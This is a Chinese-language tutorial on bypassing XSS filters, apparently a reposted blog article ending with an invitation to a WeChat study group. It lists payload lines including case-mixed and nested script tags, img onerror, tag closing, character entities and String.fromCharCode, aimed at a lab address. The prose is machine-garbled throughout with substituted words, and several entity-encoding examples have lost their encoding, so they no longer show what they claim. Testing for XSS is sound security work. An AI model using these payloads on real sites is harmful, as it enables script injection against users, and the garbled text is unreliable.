<script>alert(1)</script> // 调用JavaScript语句
<img src=x onerror=alert(1)> // src是缺点的 就会调用error函数
<a href=javascript:alert(1)> // 点击a即可触发

实际运用中web程序每每会通过一些过滤规则来防止带有恶意代码的用户输入被显示。当上述代码被注入到输入框或者URL参数中时,可能会成功也可能会失落败,如果失落败了,并不虞味着网站不存在XSS漏洞,须要对其进行绕过等办法发掘安全漏洞。
这里,给大家总结一些XSS绕过方法。
1、大小写绕过
某些网站仅仅过滤了<script>标签,而忽略了大小写更换同样可以造成浏览器触发XSS。详细办法为测试语句:
http://192.168.1.102/xss/example2.php?name=<sCript>alert("hey!")</scRipt>
2、利用过滤后返回语句再次构成攻击语句来绕过
当网站设置过滤规则时,可以触发XSS的关键字(<script>)被进行了过滤,在查看网页源代码时,script标签被去除掉了,于是我们就可以人为地制造一种巧合,让过滤完script标签后的语句中还有script标签(毕竟alert函数还在),像这样:
<div>http://192.168.1.102/xss/example3.php?name=<sCri<script>pt>alert("hey!")</scRi</script>pt></div><div></div>
3、考试测验利用其他标签来布局XSS
当script标签被完备过滤时,这时可以考试测验利用其它标签来布局XSS。
这里以<img>标签进行解释:
http://192.168.1.102/xss/example4.php?name=<img
src='w.123' onerror='alert("hey!")'>
4、主动闭合标签
可以通过手动闭合掉引号标签等办法来达到测试XSS漏洞的目的。
闭合标签
如果在查看页面的源代码的过程中,创造输入的字符串或者输入字符串的部分,那么就可以设法通过闭合字符串的办法来测试XSS漏洞。
比如,我们所输入的字符串被放入到<input>标签中(<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'/>),那么我们可以修正输入来闭合<input>标签,实行script脚本。
当我们输入为'/><SCRIPT>alert("XSS")</SCRIPT>,可以创造我们的代码实行了,解释此处存在XSS漏洞。
绕过引号
同样的例子,但是我们假设管理员在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通过一些类似add_slashes的函数可以实现,这个便是转义字符,我们先前的代码就会变成这样:
<INPUT type="text"value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>
有一些方法可以连续,但是要看过滤的那个函数是怎么放的了。个中一个方法便是利用字符实体,学过html的都知道,便是一些分外字符会用一些固有的符号组合来表示,举个例子,你不能用<>表示大于和小于,由于这被阐明为html标签,但是,你如果要用,可以用下面的来代替。
利用"或者"来代替我们的双引号,有时候可以绕过过滤。例子:
<script>alert("XSS")</script>
<script>alert("XSS")</script>
<script>alert(&XSS&)</script>
如果这都被过滤了,那我们可以利用JavaScript的fromCharCode函数,这个函数把指定的Unicode值转换成字符串。
比如:
<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<INPUT type="text"value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'>
5、通过组合编码办法来测试XSS漏洞
在利用XSS编码测试时,须要考虑HTML渲染的顺序,特殊是针对多种编码组合时,要选择得当的编码办法进行测试。
当浏览器接管到一份HTML代码后,会对标签之间(<p>xxx</p>等,<script>除外)、标签的属性中(<a href='xxxx'>)进行实体字符解码变为相应的字符,而不会发挥出其本来该有的功能,如:<被解码为<后仅被当作字符,而不会被当成标署名的起始。既然是字符串,那在href='xx'这些属性值本来便是字符串的地方可以作为一种可能的绕过的手段。如:
<a href="javascript:alert(1)"></a>
被阐明后为<a href="javascript:alert(1)"></a>,可以弹窗。
总之,在进行XSS注入测试的时候要关注标签的闭合,这跟sql语句的闭合是差不多的,不过这个变成了HTML标签。此外思路要发散,通过语句跟绕过办法的不同搭配来布局payload,比如说当浏览器对script进行了转义的时候,我们可以考试测验用其他标签来布局,当on被转义的时候,我们可以采取伪协议的办法布局即?javascript:,总之在构建payload的时候要发散思维。
下面约请大家进入【Python自动化测试学习互换群】进群办法如下:
关注我的头条号,添加V:atstudy-js,备注“头条”,即可约请你进群学习互换~~